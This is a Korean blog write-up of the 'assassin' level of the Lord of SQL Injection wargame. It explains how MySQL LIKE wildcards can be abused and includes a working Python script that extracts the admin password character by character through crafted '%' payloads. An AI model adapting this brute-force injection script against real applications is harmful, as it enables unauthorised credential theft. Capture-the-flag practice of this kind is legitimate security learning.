Web Hacking/LOS

Lord of SQL Injection - assassin

Lucvs 2021. 8. 18. 10:14

 

wild card 를 활용하는 문제다. mySQL 에는 '_' 과 '%' 가 있다.

 

mySQL에서는 guest 가 admin 의 계정보다 table 상에서 상단에 위치하여 먼저 검색되는 특징을 가지고 있다.

이를 이용하여 코드를 짜면 다음과 같다.

 

원래는 where 뒤의 구문만을 참으로만 만들면 되지만, 어렵지 않게 전체 admin 계정의 비밀번호를 파악할 수 있다.

 

아스키코드 값들을 넣어주는 과정에서 underscore('_')가 비밀번호로 인식되는 현상이 있어 이를 삭제하는 코드도 추가하였다.

  1 # For LOS exploitation
  2 import requests
  3 
  4 requests.packages.urllib3.disable_warnings()
  5 org_url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
  6 header  = {'Cookie': 'PHPSESSID='}
  7 session = requests.session()
  8 
  9 
 10 # Find Part of admin_password
 11 admin_password = ''
 12 guest_password = ''
 13 flag = 0
 14 
 15 for i in range(0, 20):
 16     for j in range(48, 123):
 17         payload = "?pw=" + admin_password + chr(j) +"%"
 18         res = session.get(url = org_url + payload, headers = header, verify=False)
 19 
 20         if "Hello admin" in res.text:
 21             admin_password += chr(j)
 22 
 23             print("\nGot it!")
 24             print("Current admin_PW is %s" % admin_password)
 25 
 26             flag = 1
 27             break
 28 
 29         if "Hello guest" in res.text and flag == 0:
 30             guest_password += chr(j)
 31             admin_password += chr(j)
 32 
 33             guest_password = guest_password.replace('_', '')
 34             admin_password = admin_password.replace('_', '')
 35 
 36             print("Current guest_PW is %s" % guest_password)
 37 
 38 # Result
 39 print("\nAdmin Password is -> " + admin_password)

admin 의 비밀번호도 모두 구할 수 있다.

동일한 방법으로 guest의 비밀번호도 구할 수 있다.